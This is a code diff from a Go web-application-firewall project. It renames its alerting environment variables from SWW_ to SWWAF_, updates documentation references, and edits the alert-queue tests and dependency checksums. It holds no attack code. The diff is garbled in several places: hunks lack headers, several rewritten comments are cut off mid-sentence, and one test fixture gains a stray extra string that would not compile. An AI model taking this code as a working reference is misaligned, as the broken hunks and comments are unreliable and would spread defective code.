 github.com/goccy/go-json v0.10.5 h1:Fq85nIqj+gXn/S5ahsiTlK3TmC85qgirsdTP/+DeaC4=
 github.com/goccy/go-json v0.10.5/go.mod h1:oq7eo15ShAhp70Anwd5lgX2pLfOS3QCiwU/PULtXL6M=
 github.com/goccy/go-yaml v1.19.2 h1:PmFC1S6h8ljIz6gMRBopkjP1TVT7xuwrButHID66PoM=
 github.com/goccy/go-yaml v1.19.2/go.mod h1:XBurs7gK8ATbW4ZPGKgcbrY1Br56PdM69F7LkFRi1kA=
 github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8=
 github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU=
 github.com/gotnospirit/makeplural v0.0.0-20180622080156-a5f48d94d976 h1:b70jEaX2iaJSPZULSUxKtm73LBfsCrMsIlYCUgNGSIs=
 github.com/gotnospirit/makeplural v0.0.0-20180622080156-a5f48d94d976/go.mod h1:ZGQeOwybjD8lkCjIyJfqR5LD2wMVHJ31d6GdPxoTsWY=
 github.com/gotnospirit/messageformat v0.0.0-20221001023931-dfe49f1eb092 h1:c7gcNWTSr1gtLp6PyYi3wzvFCEcHJ4YRobDgqmIgf7Q=
 github.com/gotnospirit/messageformat v0.0.0-20221001023931-dfe49f1eb092/go.mod h1:ZZAN4fkkful3l1lpJwF8JbW41ZiG9TwJ2ZlqzQovBNU=
 github.com/hashicorp/golang-lru/v2 v2.0.7 h1:a+bsQ5rvGLjzHuww6tVxozPZFVghXaHOwFs4luLUK2k=
 github.com/hashicorp/golang-lru/v2 v2.0.7/go.mod h1:QeFd9opnmA6QUJc5vARoKUSoFhyfM2/ZepoAG6RGpeM=
 github.com/jcchavezs/mergefs v0.1.1 h1:D45R17m6dHnSVZefnhynoeZvcK2Uw0oTrRfoUOQ0S5Y=
 github.com/jcchavezs/mergefs v0.1.1/go.mod h1:eRLTrsA+vFwQZ48hj8p8gki/5v9C2bFtHH5Mnn4bcGk=
 github.com/kaptinlin/go-i18n v0.1.4 h1:wCiwAn1LOcvymvWIVAM4m5dUAMiHunTdEubLDk4hTGs=
 github.com/kaptinlin/go-i18n v0.1.4/go.mod h1:g1fn1GvTgT4CiLE8/fFE1hboHWJ6erivrDpiDtCcFKg=
 github.com/kaptinlin/jsonschema v0.4.6 h1:vOSFg5tjmfkOdKg+D6Oo4fVOM/pActWu/ntkPsI1T64=
 github.com/kaptinlin/jsonschema v0.4.6/go.mod h1:1DUd7r5SdyB2ZnMtyB7uLv64dE3zTFTiYytDCd+AEL0=
 github.com/klauspost/compress v1.19.1 h1:VsB4HPswih7mmZ8WleSFQ75c/Ui1M4trX5oAsJnhSlk=
 github.com/klauspost/compress v1.19.1/go.mod h1:cwPg85FWrGar70rWktvGQj8/hthj3wpl0PGDogxkrSQ=
 github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc=
 github.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+fNqagV/RAw=
 github.com/magefile/mage v1.17.0 h1:dS4tkq997Ism03akafC8509iqDjeE7TNTexI25Y7sXM=
 github.com/magefile/mage v1.17.0/go.mod h1:Yj51kqllmsgFpvvSzgrZPK9WtluG3kUhFaBUVLo4feA=
 github.com/maxmind/mmdbwriter v1.2.0 h1:hyvDopImmgvle3aR8AaddxXnT0iQH2KWJX3vNfkwzYM=
 github.com/maxmind/mmdbwriter v1.2.0/go.mod h1:EQmKHhk2y9DRVvyNxwCLKC5FrkXZLx4snc5OlLY5XLE=
 github.com/miekg/dns v1.1.57 h1:Jzi7ApEIzwEPLHWRcafCN9LZSBbqQpxjt/wpgvg7wcM=
 github.com/miekg/dns v1.1.57/go.mod h1:uqRjCRUuEAA6qsOiJvDd+CFo/vW+y5WR6SNmHE55hZk=
 github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 h1:C3w9PqII01/Oq1c1nUAm88MOHcQC9l5mIlSMApZMrHA=
 github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822/go.mod h1:+n7T8mK8HuQTcFwEeznm/DIxMOiR9yIdICNftLE1DvQ=
 github.com/oschwald/maxminddb-golang/v2 v2.7.0 h1:ZcAr3GYc2LYC8aec2mCMX9+QOF0EolH3jDFKRV/Z1+U=
 github.com/oschwald/maxminddb-golang/v2 v2.7.0/go.mod h1:DuKJLbbug6TXC0yJXgs1MWifvXHmudRWzMobMIUu04g=
 github.com/pelletier/go-toml/v2 v2.2.4 h1:mye9XuhQ6gvn5h28+VilKrrPoQVanw5PMw/TB0t5Ec4=
 github.com/pelletier/go-toml/v2 v2.2.4/go.mod h1:2gIqNv+qfxSVS7cM2xJQKtLSTLUE9V8t9Stt+h56mCY=
 github.com/petar-dambovaliev/aho-corasick v0.0.0-20250424160509-463d218d4745 h1:Vpr4VgAizEgEZsaMohpw6JYDP+i9Of9dmdY4ufNP6HI=
 github.com/petar-dambovaliev/aho-corasick v0.0.0-20250424160509-463d218d4745/go.mod h1:EHPiTAKtiFmrMldLUNswFwfZ2eJIYBHktdaUTZxYWRw=
 github.com/prometheus/client_golang v1.24.1 h1:JnJkREXzWxUdCuPFpIWZiPispT9xVV59uiuyR2bPlnU=
 github.com/prometheus/client_golang v1.24.1/go.mod h1:F+oSRECHg4sse5ucfYpYDeIv/hu68Zo0uoHKetWnzcE=
 github.com/prometheus/client_model v0.6.2 h1:oBsgwpGs7iVziMvrGhE53c/GrLUsZdHnqNwqPLxwZyk=
@@ -60,15 +28,6 @@ github.com/prometheus/procfs v0.21.1 h1:GljZCt+zSTS+NZq88cyQ1LjZ+RCHp3uVuabBWA5+
 github.com/prometheus/procfs v0.21.1/go.mod h1:aB55Cww9pdSJVHk0hUf0inxWyyjPogFIjmHKYgMKmtY=
 github.com/stretchr/testify v1.12.1 h1:EuwCh5fleGS7H32xRwO3wRGT7DxrDhLAT6FF8MpWDWE=
 github.com/stretchr/testify v1.12.1/go.mod h1:MDEgiDPPsNp5cuIrHPPCyornHKgEVbtFUmoNlxoYthg=
 github.com/tidwall/gjson v1.18.0 h1:FIDeeyB800efLX89e5a8Y0BNH+LOngJyGrIWxG2FKQY=
 github.com/tidwall/gjson v1.18.0/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk=
 github.com/tidwall/match v1.1.1 h1:+Ho715JplO36QYgwN9PGYNhgZvoUSc9X2c80KVTi+GA=
 github.com/tidwall/match v1.1.1/go.mod h1:eRSPERbgtNPcGhD8UCthc6PmLEQXEWd3PRB5JTxsfmM=
 github.com/tidwall/pretty v1.2.0/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU=
 github.com/tidwall/pretty v1.2.1 h1:qjsOFOWWQl+N3RsoF5/ssm1pHmJJwhjlSbZ51I6wMl4=
 github.com/tidwall/pretty v1.2.1/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU=
 github.com/valllabh/ocsf-schema-golang v1.0.3 h1:eR8k/3jP/OOqB8LRCtdJ4U+vlgd/gk5y3KMXoodrsrw=
 github.com/valllabh/ocsf-schema-golang v1.0.3/go.mod h1:sZ3as9xqm1SSK5feFWIR2CuGeGRhsM7TR1MbpBctzPk=
 go.uber.org/goleak v1.3.0 h1:2K3zAYmnTNqV73imy9J1T3WC+gmCePx2hEGkimedGto=
 go.uber.org/goleak v1.3.0/go.mod h1:CoHD4mav9JJNrW/WLlf7HGZPjdw8EucARQHekz1X6bE=
 go.yaml.in/yaml/v2 v2.4.4 h1:tuyd0P+2Ont/d6e2rl3be67goVK4R6deVxCUX5vyPaQ=
@@ -77,21 +36,7 @@ go.yaml.in/yaml/v3 v3.0.5 h1:N6y/pJk8buWs9NY5ERU2HSMfm+IuD/OtfdAnq6kESPw=
 go.yaml.in/yaml/v3 v3.0.5/go.mod h1:HVTZu1O7/Vkt2N+BFy8Zza+lnLsABggaTM2ZpNIGuKg=
 go4.org/netipx v0.0.0-20231129151722-fdeea329fbba h1:0b9z3AuHCjxk0x/opv64kcgZLBseWJUpBw5I82+2U4M=
 go4.org/netipx v0.0.0-20231129151722-fdeea329fbba/go.mod h1:PLyyIXexvUFg3Owu6p/WfdlivPbZJsZdgWZlrGope/Y=
 golang.org/x/mod v0.41.0 h1:qJmnOUb4YB+FsEuM3HcWucdZASCPGhsX6uljO6pog0c=
 golang.org/x/mod v0.41.0/go.mod h1:Ek9pY8RKWXwsWvd3rQiHYtMqkjSUV+s1Rj7j4H5Ur6o=
 golang.org/x/net v0.58.0 h1:ynWG7rqYi4ccpTEuPZ2QGWHktVEM9DMCj9yzDE0Q7To=
 golang.org/x/net v0.58.0/go.mod h1:YwCddHnFlT7eLQqVprV19OnhLGtc5xOKgE0RyqgfWAU=
 golang.org/x/sync v0.23.0 h1:KameEIfc1IkluZyXWLn39Wd4tURc6GbCiISGiZm2bQk=
 golang.org/x/sync v0.23.0/go.mod h1:sUUOizhqBxiL6pEWpqNLUiaJn1ShEbZ6BBqskPbjZm0=
 golang.org/x/sys v0.48.0 h1:bbX/i/6MgT9BVLM9RT1thmxL04yeTAhbEz4SyadbXoo=
 golang.org/x/sys v0.48.0/go.mod h1:hNLxWAXmnKAxqDtdwIYC4bM9oQPEecfsnNMuSxOs3og=
 golang.org/x/text v0.41.0 h1:vz/seA0lnX87Othu2f/0L24RcgrXD9/YFTSuGjj3rH8=
 golang.org/x/text v0.41.0/go.mod h1:jvf1O8ajNzZqhSrQBPbutR/EB83Cc0CFrezNQIwbb5M=
 golang.org/x/tools v0.50.0 h1:c2ifzfcuY7L90lZ2aKd8S4K2NpASF08SZx9ZuJkHmSU=
 golang.org/x/tools v0.50.0/go.mod h1:7ulVMw3831Mwi5EZD6RomGyffr4VFjuNYXf2BbCEAV0=
 google.golang.org/protobuf v1.36.11 h1:fV6ZwhNocDyBLK0dj+fg8ektcVegBBuEolpbTQyBNVE=
 google.golang.org/protobuf v1.36.11/go.mod h1:HTf+CrKn2C3g5S8VImy6tdcUvCska2kB7j23XfzDpco=
 gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
 gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
 rsc.io/binaryregexp v0.2.0 h1:HfqmD5MEmC0zvwBuF187nq9mdnXjXsSivRiXN7SmRkE=
 rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8=
@@ -1,12 +1,12 @@
 // Package alerts sends alerts on bans, on traffic over an anomaly
 // threshold, on a source that fails and on a file with an error to each
 // destination set: to the webhook
-// SWW_ALERT_WEBHOOK_URL names, each as one JSON object, as "The JSON
+// SWWAF_ALERT_WEBHOOK_URL names, each as one JSON object, as the "Alert
-// object" in docs/alerts.md describes, to the Slack incoming
+// webhook schema" section of SPEC.md describes, to the Slack incoming
-// webhook SWW_ALERT_SLACK_WEBHOOK_URL names, as a message, and to the
+// webhook SWWAF_ALERT_SLACK_WEBHOOK_URL names, as a message, and to the
-// ntfy topic SWW_ALERT_NTFY_URL names. A repeat within
+// ntfy topic SWWAF_ALERT_NTFY_URL names. A repeat within
-// SWW_ALERT_COOLDOWN is held back, and so is an alert past
+// SWWAF_ALERT_COOLDOWN is held back, and so is an alert past
-// SWW_ALERT_MAX_PER_HOUR, for the hour's summary. The others wait in a
+// SWWAF_ALERT_MAX_PER_HOUR, for the hour's summary. The others wait in a
 // bounded queue of each destination's own, so that a destination that is
 // slow or unreachable holds up neither the others nor any request. The
 // state is written to alerts.json and read from it by the state package.
@@ -34,41 +34,35 @@ import (
 	"time"
 )
-// The events an alert is for, as SWW_ALERT_EVENTS names them.
+// The events an alert is for, as SWWAF_ALERT_EVENTS names them.
 const (
-	// EventBan is a ban sww made.
+	// EventBan is a ban smallwebwaf made.
 	EventBan = "ban"
-	// EventPermanentBan is a permanent ban sww made, or a ban it
+	// EventPermanentBan is a permanent ban smallwebwaf made, or a ban it
 	// made permanent.
 	EventPermanentBan = "permanent_ban"
 	// EventAnomaly is a count of requests or bytes over an anomaly
 	// threshold.
 	EventAnomaly = "anomaly"
-	// EventWAFBlock is a request the Core Rule Set scored at or over
+	// EventWAFBlock and EventReputationHit come with the Core Rule Set and
-	// SWW_WAF_ANOMALY_THRESHOLD, refused in block mode, let through in
+	// the reputation sources; nothing raises them yet.
 	// detect mode.
 	EventWAFBlock      = "waf_block"
 	// EventReputationHit is a request whose client a blocklist, the
 	// CrowdSec decision list or a DNSBL zone lists, or whose AbuseIPDB score
 	// is a hit.
 	EventReputationHit = "reputation_hit"
-	// EventSourceFailure is GeoJS failing or refusing sww, a fetch
+	// EventSourceFailure is GeoJS failing or refusing smallwebwaf.
 	// of a list failing, a query to a DNSBL zone or a check with AbuseIPDB
 	// failing or refused, or the day's AbuseIPDB checks used up.
 	EventSourceFailure = "source_failure"
-	// EventFileError is a rule file or state file edited while sww
+	// EventFileError is a rule file or state file edited while smallwebwaf
 	// runs that does not parse, a replacement of the lookup database that
 	// cannot be read, or a state file that cannot be written.
 	EventFileError = "file_error"
 	// EventSummary is the summary sent as an hour ends: of the alerts held
-	// back in it past SWW_ALERT_MAX_PER_HOUR, and of the repeats held
+	// back in it past SWWAF_ALERT_MAX_PER_HOUR, and of the repeats held
 	// back by the cooldowns dropped as it ends, which no alert let through
-	// has given. It is sent with SWW_ALERT_MAX_PER_HOUR off too, for
+	// has given. It is sent with SWWAF_ALERT_MAX_PER_HOUR off too, for
-	// those repeats. SWW_ALERT_EVENTS does not name it.
+	// those repeats. SWWAF_ALERT_EVENTS does not name it.
 	EventSummary = "summary"
 )
-// Events returns every event SWW_ALERT_EVENTS can name, which is its
+// Events returns every event SWWAF_ALERT_EVENTS can name, which is its
 // default.
 func Events() []string {
 	return []string{
@@ -80,12 +74,12 @@ func Events() []string {
 // The destinations alerts are sent to, as the metrics and alerts.json
 // name them.
 const (
-	// DestinationWebhook is the webhook SWW_ALERT_WEBHOOK_URL names.
+	// DestinationWebhook is the webhook SWWAF_ALERT_WEBHOOK_URL names.
 	DestinationWebhook = "webhook"
 	// DestinationSlack is the Slack incoming webhook
-	// SWW_ALERT_SLACK_WEBHOOK_URL names.
+	// SWWAF_ALERT_SLACK_WEBHOOK_URL names.
 	DestinationSlack = "slack"
-	// DestinationNtfy is the ntfy topic SWW_ALERT_NTFY_URL names.
+	// DestinationNtfy is the ntfy topic SWWAF_ALERT_NTFY_URL names.
 	DestinationNtfy = "ntfy"
 )
@@ -121,26 +115,26 @@ var (
 // NtfyURL set, no alert is sent.
 type Params struct {
 	// WebhookURL is where each alert is posted as JSON
-	// (SWW_ALERT_WEBHOOK_URL), nil while it is unset. WebhookHeaders
+	// (SWWAF_ALERT_WEBHOOK_URL), nil while it is unset. WebhookHeaders
-	// are sent with each (SWW_ALERT_WEBHOOK_HEADERS).
+	// are sent with each (SWWAF_ALERT_WEBHOOK_HEADERS).
 	WebhookURL     *url.URL
 	WebhookHeaders http.Header
 	// SlackURL is the Slack incoming webhook each alert is posted to as a
-	// message (SWW_ALERT_SLACK_WEBHOOK_URL), nil while it is unset.
+	// message (SWWAF_ALERT_SLACK_WEBHOOK_URL), nil while it is unset.
 	SlackURL *url.URL
 	// NtfyURL is the ntfy topic each alert is published to
-	// (SWW_ALERT_NTFY_URL), nil while it is unset. NtfyToken, unless
+	// (SWWAF_ALERT_NTFY_URL), nil while it is unset. NtfyToken, unless
-	// empty, is sent with each as a bearer token (SWW_ALERT_NTFY_TOKEN).
+	// empty, is sent with each as a bearer token (SWWAF_ALERT_NTFY_TOKEN).
 	NtfyURL   *url.URL
 	NtfyToken string
-	// Events are the events alerts are sent for (SWW_ALERT_EVENTS).
+	// Events are the events alerts are sent for (SWWAF_ALERT_EVENTS).
 	Events []string
 	// Cooldown is how long a repeat of an alert is held back
-	// (SWW_ALERT_COOLDOWN), 0 for no time. MaxPerHour is the most alerts
+	// (SWWAF_ALERT_COOLDOWN), 0 for no time. MaxPerHour is the most alerts
-	// sent in an hour (SWW_ALERT_MAX_PER_HOUR), 0 for no limit.
+	// sent in an hour (SWWAF_ALERT_MAX_PER_HOUR), 0 for no limit.
 	Cooldown   time.Duration
 	MaxPerHour int
-	// Instance is SWW_INSTANCE_NAME, which every alert gives.
+	// Instance is SWWAF_INSTANCE_NAME, which every alert gives.
 	Instance string
 	// Now tells the time of an alert, normally time.Now in UTC.
 	Now func() time.Time
@@ -149,17 +143,15 @@ type Params struct {
 }
 // Alert is one alert, as the webhook is sent it and alerts.json holds it,
-// with the fields of "The JSON object" in docs/alerts.md. ASN, ASName and
+// with the fields of the "Alert webhook schema" section of SPEC.md. ASN,
-// Country are, for a ban, the client's as the ban's notes give them. Host is
+// ASName and Country are, for a ban, the client's as the ban's notes give
-// the site of the request that raised the alert, while one discriminator serves
+// them.
 // many sites, and "" otherwise.
 //
-//nolint:tagliatelle // docs/alerts.md names the alert's fields in snake_case
+//nolint:tagliatelle // SPEC.md's alert webhook schema names its fields in snake_case
 type Alert struct {
 	Instance string       `json:"instance"`
 	Time     time.Time    `json:"time"`
 	Event    string       `json:"event"`
 	Host     string       `json:"host,omitempty"`
 	Client   netip.Addr   `json:"client"`
 	Netblock netip.Prefix `json:"netblock"`
 	ASN      string       `json:"asn"`
@@ -301,17 +293,17 @@ func New(params Params) *Queue {
 	}
 	if params.WebhookURL != nil {
-		q.addDestination(DestinationWebhook, "SWW_ALERT_WEBHOOK_URL",
+		q.addDestination(DestinationWebhook, "SWWAF_ALERT_WEBHOOK_URL",
 			params.WebhookURL, q.webhookMessage)
 	}
 	if params.SlackURL != nil {
-		q.addDestination(DestinationSlack, "SWW_ALERT_SLACK_WEBHOOK_URL",
+		q.addDestination(DestinationSlack, "SWWAF_ALERT_SLACK_WEBHOOK_URL",
 			params.SlackURL, slackMessage)
 	}
 	if params.NtfyURL != nil {
-		q.addDestination(DestinationNtfy, "SWW_ALERT_NTFY_URL",
+		q.addDestination(DestinationNtfy, "SWWAF_ALERT_NTFY_URL",
 			params.NtfyURL, q.ntfyMessage)
 	}
@@ -319,7 +311,7 @@ func New(params Params) *Queue {
 }
 // Raise sends alert, which names its event and what is particular to it,
-// unless no destination is set or SWW_ALERT_EVENTS leaves its event
+// unless no destination is set or SWWAF_ALERT_EVENTS leaves its event
 // out. It gives alert the instance and the time. An alert that repeats
 // the last one let through less than Cooldown before is held back and
 // counted. The next one let through gives that count, unless an hour of
@@ -363,7 +355,7 @@ func (q *Queue) Raise(alert Alert) {
 }
 // WouldSend reports whether Raise would let an alert for event on
-// netblock through now: a destination is set, SWW_ALERT_EVENTS chooses
+// netblock through now: a destination is set, SWWAF_ALERT_EVENTS chooses
 // event, no alert for event on netblock was let through less than
 // Cooldown before, and fewer than MaxPerHour alerts have been let through
 // in the hour under way. Unlike Raise, it counts nothing.
@@ -606,13 +598,13 @@ func (q *Queue) endHour(now time.Time) {
 	if heldBack > 0 {
 		reasons = append(reasons, fmt.Sprintf("%d alerts held back in the hour from %s, "+
-			"past the %d an hour SWW_ALERT_MAX_PER_HOUR allows", heldBack,
+			"past the %d an hour SWWAF_ALERT_MAX_PER_HOUR allows", heldBack,
 			q.hour.Start.Format(time.RFC3339), q.params.MaxPerHour))
 	}
 	if repeats > 0 {
 		reasons = append(reasons, fmt.Sprintf("%d repeats held back by "+
-			"SWW_ALERT_COOLDOWN that no later alert gives", repeats))
+			"SWWAF_ALERT_COOLDOWN that no later alert gives", repeats))
 	}
 	if len(reasons) > 0 {
@@ -683,7 +675,7 @@ func (d *destination) run(ctx context.Context) {
 				d.processLog.Warn("gave up an alert "+d.setting+" refused",
 					"event", alert.Event, "error", err.Error())
-			case ctx.Err() == nil: // not cut off as sww stops
+			case ctx.Err() == nil: // not cut off as smallwebwaf stops
 				d.failed.Add(1)
 				retryDelay = min(max(retryDelayFactor*retryDelay, firstRetryDelay),
@@ -902,16 +894,12 @@ func title(alert *Alert) string {
 }
 // text returns the text of alert in Slack and ntfy: its reason, then a
-// line for each of its host, client, netblock and country, the file,
+// line for each of its client, netblock and country, the file, source,
-// source, error and mode its detail gives, and its suppressed repeats, that
+// error and mode its detail gives, and its suppressed repeats, that it
-// it has.
+// has.
 func text(alert *Alert) string {
 	lines := []string{alert.Reason}
 	if alert.Host != "" {
 		lines = append(lines, "host: "+alert.Host)
 	}
 	if alert.Client.IsValid() {
 		lines = append(lines, "client: "+alert.Client.String())
 	}
@@ -34,12 +34,12 @@ const (
 	// webhookURL is where the alerts are posted, slackURL the Slack
 	// incoming webhook, and ntfyURL the ntfy topic. ntfyToken is the ntfy
 	// token of the tests that set one.
-	webhookURL = "https://alerts.example/sww?team=ops"
+	webhookURL = "https://alerts.example/smallwebwaf?team=ops"
 	slackURL   = "https://hooks.slack.example/services/T0123/B4567/abcdef"
-	ntfyURL    = "https://ntfy.example/sww-alerts"
+	ntfyURL    = "https://ntfy.example/smallwebwaf-alerts"
 	ntfyToken  = "tk_0123456789abcdefghijklmnopq"
 	// instance is the instance name every alert gives.
-	instance = "fsn1app1/blog"
+	instance = "fsn1app1/gitea"
 	// started is when each test starts, as an alert gives it, and
 	// anHourOn an hour later.
 	started  = "2000-01-01T00:00:00Z"
@@ -132,7 +132,7 @@ func TestWouldSendOnlyForTheChosenEvents(t *testing.T) {
 	if q.WouldSend(alerts.EventBan, netblock(1)) ||
 		q.WouldSend(alerts.EventPermanentBan, netblock(1)) {
-		t.Error("a ban alert would be sent, though SWW_ALERT_EVENTS leaves it out")
+		t.Error("a ban alert would be sent, though SWWAF_ALERT_EVENTS leaves it out")
 	}
 	if !q.WouldSend(alerts.EventFileError, netip.Prefix{}) {
@@ -184,8 +184,8 @@ func TestWouldSendWithOnlySlackOrOnlyNtfySet(t *testing.T) {
 	onlyNtfy.NtfyURL = parseURL(ntfyURL)
 	for setting, params := range map[string]alerts.Params{
-		"SWW_ALERT_SLACK_WEBHOOK_URL": onlySlack,
+		"SWWAF_ALERT_SLACK_WEBHOOK_URL": onlySlack,
-		"SWW_ALERT_NTFY_URL":          onlyNtfy,
+		"SWWAF_ALERT_NTFY_URL":          onlyNtfy,
 	} {
 		if !alerts.New(params).WouldSend(alerts.EventBan, netblock(1)) {
 			t.Errorf("a ban alert would not be sent with only %s set", setting)
@@ -359,7 +359,7 @@ func TestAlertsPastTheHourlyLimitAreRolledIntoOneSummary(t *testing.T) {
 			"as_name":  "",
 			"country":  "",
 			"reason": "3 alerts held back in the hour from 2000-01-01T00:00:00Z, " +
-				"past the 2 an hour SWW_ALERT_MAX_PER_HOUR allows",
+				"past the 2 an hour SWWAF_ALERT_MAX_PER_HOUR allows",
 			"detail": map[string]any{
 				"hour":  started,
 				"count": float64(3),
@@ -525,7 +525,7 @@ func TestFailedRequestIsSentAgainWithBackoff(t *testing.T) {
 		wantCounts(t, q, 0, int64(len(want)), 0, 0)
 		if !strings.Contains(log.String(),
-			`"msg":"sending an alert to SWW_ALERT_WEBHOOK_URL failed"`) {
+			`"msg":"sending an alert to SWWAF_ALERT_WEBHOOK_URL failed"`) {
 			t.Errorf("process log %q names no failure", log.String())
 		}
@@ -595,7 +595,7 @@ func TestRefusedAlertIsGivenUpAndTheNextSent(t *testing.T) {
 		wantCounts(t, q, 1, 3, 0, 1)
 		if !strings.Contains(log.String(),
-			`"msg":"gave up an alert SWW_ALERT_WEBHOOK_URL refused"`) {
+			`"msg":"gave up an alert SWWAF_ALERT_WEBHOOK_URL refused"`) {
 			t.Errorf("process log %q names no alert given up", log.String())
 		}
 	})
@@ -619,7 +619,7 @@ func TestFailedRequestIsLoggedWithoutTheURL(t *testing.T) {
 		logged := log.String()
 		if !strings.Contains(logged,
-			`"msg":"sending an alert to SWW_ALERT_WEBHOOK_URL failed"`) ||
+			`"msg":"sending an alert to SWWAF_ALERT_WEBHOOK_URL failed"`) ||
 			strings.Contains(logged, "alerts.example") || strings.Contains(logged, "team=ops") {
 			t.Errorf("process log %q names no failure, or names the URL", logged)
 		}
@@ -782,8 +782,8 @@ func TestSlackAndNtfyAreSentTheSummaryAndTheRepeatsHeldBack(t *testing.T) {
 		}
 		const summary = "1 alerts held back in the hour from 2000-01-01T00:00:00Z, " +
-			"past the 1 an hour SWW_ALERT_MAX_PER_HOUR allows; 1 repeats held back " +
+			"past the 1 an hour SWWAF_ALERT_MAX_PER_HOUR allows; 1 repeats held back " +
-			"by SWW_ALERT_COOLDOWN that no later alert gives\nsuppressed repeats: 1"
+			"by SWWAF_ALERT_COOLDOWN that no later alert gives\nsuppressed repeats: 1"
 		wantSlackMessage(t, slack[1], "*"+instance+": summary*\n"+summary)
 		wantNtfyMessage(t, ntfy[1], instance+": summary", "default bar_chart", summary)
@@ -901,7 +901,7 @@ func TestDestinationThatDoesNotAnswerHoldsUpNeitherOther(t *testing.T) {
 		logged := log.String()
 		if !strings.Contains(logged,
-			`"msg":"sending an alert to SWW_ALERT_SLACK_WEBHOOK_URL failed"`) ||
+			`"msg":"sending an alert to SWWAF_ALERT_SLACK_WEBHOOK_URL failed"`) ||
 			strings.Contains(logged, "hooks.slack.example") ||
 			strings.Contains(logged, "T0123") {
 			t.Errorf("process log %q names no failure, or names the URL", logged)
@@ -965,8 +965,8 @@ func TestEachDestinationIsSentOnlyTheAlertsWaitingForIt(t *testing.T) {
 		synctest.Wait()
 		wantBodies(t, standIns[alerts.DestinationSlack],
-			`{"text":"*fsn1app1/blog: file_error*\nsecond"}`,
+			`{"text":"*fsn1app1/gitea: file_error*\nsecond"}`,
-			`{"text":"*fsn1app1/blog: file_error*\nthird"}`)
+			`{"text":"*fsn1app1/gitea: file_error*\nthird"}`)
 		wantBodies(t, standIns[alerts.DestinationNtfy], "fourth")
 		// alerts.json then lists Slack and ntfy alone, with no alert waiting.
@@ -1254,7 +1254,7 @@ type eventMessage struct {
 	title, priorityAndTag, text string
 }
-// anAlertForEachEvent returns an alert for each event SWW_ALERT_EVENTS
+// anAlertForEachEvent returns an alert for each event SWWAF_ALERT_EVENTS
 // names, the first in observe mode, each with its message.
 func anAlertForEachEvent() []eventMessage {
 	return []eventMessage{
@@ -1265,7 +1265,7 @@ func anAlertForEachEvent() []eventMessage {
 				Reason: "requests per hour over the limit of 10000",
 				Detail: map[string]any{"mode": "observe"},
 			},
-			"fsn1app1/blog: ban", "default no_entry",
+			"fsn1app1/gitea: ban", "default no_entry",
 			"requests per hour over the limit of 10000\nclient: 203.0.113.9\n" +
 				"netblock: 203.0.113.0/24\ncountry: DE\nmode: observe",
 		},
@@ -1275,7 +1275,7 @@ func anAlertForEachEvent() []eventMessage {
 				Netblock: netip.MustParsePrefix("198.51.100.7/32"), Country: "FR",
 				Reason: "matched the rule env-file",
 			},
-			"fsn1app1/blog: permanent_ban", "high no_entry",
+			"fsn1app1/gitea: permanent_ban", "high no_entry",
 			"matched the rule env-file\nclient: 198.51.100.7\n" +
 				"netblock: 198.51.100.7/32\ncountry: FR",
 		},
@@ -1284,18 +1284,16 @@ func anAlertForEachEvent() []eventMessage {
 				Event: alerts.EventWAFBlock, Client: netip.MustParseAddr("192.0.2.1"),
 				Netblock: netip.MustParsePrefix("192.0.2.1/32"),
 				Reason:   "refused by the Core Rule Set",
 				Host:     "app.example",
 			},
-			"fsn1app1/blog: waf_block", "default shield",
+			"fsn1app1/gitea: waf_block", "default shield",
-			"refused by the Core Rule Set\nhost: app.example\nclient: 192.0.2.1\n" +
+			"refused by the Core Rule Set\nclient: 192.0.2.1\nnetblock: 192.0.2.1/32",
 				"netblock: 192.0.2.1/32",
 		},
 		{
 			alerts.Alert{
 				Event: alerts.EventAnomaly, Netblock: netip.MustParsePrefix("192.0.2.0/24"),
 				Reason: "requests per minute over the threshold of 5000",
 			},
-			"fsn1app1/blog: anomaly", "high chart_with_upwards_trend",
+			"fsn1app1/gitea: anomaly", "high chart_with_upwards_trend",
 			"requests per minute over the threshold of 5000\nnetblock: 192.0.2.0/24",
 		},
 		{
@@ -1304,7 +1302,7 @@ func anAlertForEachEvent() []eventMessage {
 				Netblock: netip.MustParsePrefix("192.0.2.2/32"),
 				Reason:   "listed by a DNS blocklist",
 			},
-			"fsn1app1/blog: reputation_hit", "low label",
+			"fsn1app1/gitea: reputation_hit", "low label",
 			"listed by a DNS blocklist\nclient: 192.0.2.2\nnetblock: 192.0.2.2/32",
 		},
 		{
@@ -1312,7 +1310,7 @@ func anAlertForEachEvent() []eventMessage {
 				Event: alerts.EventSourceFailure, Reason: "asking GeoJS failed",
 				Detail: map[string]any{"source": "geojs"},
 			},
-			"fsn1app1/blog: source_failure", "high warning",
+			"fsn1app1/gitea: source_failure", "high warning",
 			"asking GeoJS failed\nsource: geojs",
 		},
 		{
@@ -1320,12 +1318,12 @@ func anAlertForEachEvent() []eventMessage {
 				Event:  alerts.EventFileError,
 				Reason: "a rule file has an error, and the rules stay as they were",
 				Detail: map[string]any{
-					"file": "/etc/sww/rules.d/50-app.rules", "error": "line 2: no action",
+					"file": "/etc/smallwebwaf/rules.d/50-app.rules", "error": "line 2: no action",
 				},
 			},
-			"fsn1app1/blog: file_error", "high warning",
+			"fsn1app1/gitea: file_error", "high warning",
 			"a rule file has an error, and the rules stay as they were\n" +
-				"file: /etc/sww/rules.d/50-app.rules\nerror: line 2: no action",
+				"file: /etc/smallwebwaf/rules.d/50-app.rules\nerror: line 2: no action",
 		},
 	}
 }
@@ -1,8 +1,8 @@
